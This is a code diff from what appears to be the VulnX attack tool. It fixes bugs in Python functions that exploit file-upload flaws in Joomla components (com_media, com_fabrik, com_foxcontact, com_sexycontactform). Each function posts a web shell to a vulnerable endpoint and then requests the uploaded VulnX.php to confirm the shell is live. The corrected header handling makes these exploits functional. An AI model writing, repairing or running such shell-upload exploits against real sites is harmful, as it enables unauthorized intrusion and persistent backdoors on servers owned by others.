@@ -45,7 +45,7 @@ def com_jce(self):
4545 def com_media (self ):
4646 self .headers ['User-Agent' ] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
4747 endpoint = self .url + "/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder="
48- self .headers = { "content-type" :[ " form-data"]}
48+ self .headers [ 'Content-Type' ] = " form-data"
4949 fieldname = 'Filedata[]'
5050 shell = open ('shell/VulnX.txt' ,'rb' )
5151 data = {
@@ -101,7 +101,7 @@ def com_media(self):
101101 #def com_jdownloadsb(self):
102102 # self.headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
103103 # endpoint = self.url+"/images/jdownloads/screenshots/VulnX.php"
104- # self.headers={"content-type":[" form-data"]}
104+ # self.headers['Content-Type']=" form-data"
105105 # files = open('shell/VulnX.zip','rb')
106106 # shell = open('shell/VulnX.gif','rb')
107107 # data = {
@@ -131,7 +131,7 @@ def com_fabrika(self):
131131 self .headers ['User-Agent' ] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
132132 endpoint = self .url + "/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
133133
134- self .headers = { "content-type" :[ " form-data"]}
134+ self .headers [ 'Content-Type' ] = " form-data"
135135 fieldname = 'file'
136136 shell = open ('shell/VulnX.php' ,'rb' )
137137 data = {
@@ -158,7 +158,7 @@ def com_fabrikb(self):
158158 self .headers ['User-Agent' ] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
159159 endpoint = self .url + "/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
160160
161- self .headers = { "content-type" :[ " form-data"]}
161+ self .headers [ 'Content-Type' ] = " form-data"
162162 fieldname = 'file'
163163 shell = open ('shell/VulnX.txt' ,'rb' )
164164 data = {
@@ -189,7 +189,7 @@ def com_foxcontact(self):
189189 # 'components/com_foxcontact/lib/uploader.php?cid={}&mid={}&qqfile=/../../_func.php'}
190190 endpoint = self .url + "/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
191191
192- self .headers = { "content-type" :[ " form-data"]}
192+ self .headers [ 'Content-Type' ] = " form-data"
193193 fieldname = 'file'
194194 shell = open ('shell/VulnX.txt' ,'rb' )
195195 data = {
@@ -353,7 +353,7 @@ def com_sexycontactform(self):
353353 fieldname = "image[]"
354354 files = {'image' : (name_img ,img ,'multipart/form-data' ,{'Expires' : '0' })}
355355 data = { fieldname : files }
356- requests .post (endpoint , data = data , heades = self .headers ,verify = False ).text
356+ requests .post (endpoint , data = data , headers = self .headers ,verify = False ).text
357357 shellup = self .url + "/com_sexycontactform/fileupload/files/files/VulnX.php?Vuln=X"
358358 checkShell = requests .get (shellup ,headers = self .headers ,verify = False ).text
359359 statusCheck = re .findall (re .compile (r'Vuln X' ),checkShell )
0 commit comments